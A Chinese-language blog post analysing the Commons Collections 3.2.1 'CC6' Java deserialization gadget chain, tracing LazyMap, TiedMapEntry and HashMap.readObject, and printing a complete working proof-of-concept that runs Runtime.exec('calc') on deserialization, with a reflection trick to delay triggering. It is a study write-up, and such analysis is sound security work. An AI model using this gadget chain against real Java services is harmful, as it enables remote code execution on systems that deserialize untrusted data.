https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

CC6链分析

CC6链的分析

环境:

jdk版本任意,我用的是jdk8_66

CommonsCollections3.2.1

学习完CC1的两种利用链之后,学习这个链就很轻松了,也是接着分析

这次分析的是图中红色的链

image-20250406145909164

CC1链-LazyMap链利用分析 - kudo4869 - 博客园

分析

同样,我们来到漏洞的产生点,LazyMap类中get()中调用了transform(),LazyMap可以通过静态docorate方法生成

image-20250402204655753

我们找get()方法被谁调用,也是直接说找到的结果了,TiedMapEntry中的getValue()方法使用了get方法,LazyMap类实现了Map接口的get方法,所以此处的map得是LazyMap,我们继续往上找

image-20250402205011427

类中的hashcode()方法用到了getValue()方法

image-20250402205432255

后面学习过urldns链的应该可以联想到HashMap中的反序列化readObject中有写了putVal(),其中有hashcode的调用。这也就是为什么这条链的通用性很强,不需要jdk版本的依赖

image-20250402210115444

此处的key应为TiedMapEntry

image-20250402205721092

这样我们就可以写一个比较简单的poc,然后慢慢调试

这是TiedMapEntry的构造方法,直接new,注意下构造函数的第二个参数,没有用到,但是保证能序列化,随意传一个可序列化对象即可

image-20250402205252037

目前的poc

        Transformer[] transformerArray = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建LazyMap对象
        LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
//        构造HashMap
        HashMap<Object,Object> hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"b");

但发现我还没有进行序列化就已经可以弹出计算器了

image-20250402220235547

原因简单,其实就是hashMap.put时就已经把整个链走过一次了,也好绕过,通过java反射的动态特性绕过

思路是将tiedMapEntry中的lazymap通过反射修改,意思就是我们可以先传一个空map,绕过使用put函数时tiedMapEntry包含lazymap,然后通过反射修改修改tiedMapEntry中的map为lazymap,所以我们反射得写在put后面

image-20250403135455199

这样修改之后就反序列化之前不会弹出计算器了,而反序列化会弹出计算器

POC:

public class CC6Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformerArray = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 创建恶意LazyMap对象
        LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(),chainedTransformer);
// 3. TiedMapEntry.getValue()方法,会调用map.get(),其中将map属性设置为LazyMap对象(通过反射)
//这里我们随便传一个map进去就行
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),new String());
//        构造HashMap
        HashMap<Object,Object> hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"b");
        //通过反射修改tiedMapEntry中的map变成lazyMap
        Class tiedMapEntryClass = java.lang.Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Field mapField = tiedMapEntryClass.getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(tiedMapEntry,lazyMap);

        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashMap);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}
    }

成功执行

image-20250403145328702

posted @ 2025-04-03 15:09  kudo4869  阅读(32)  评论(0)    收藏  举报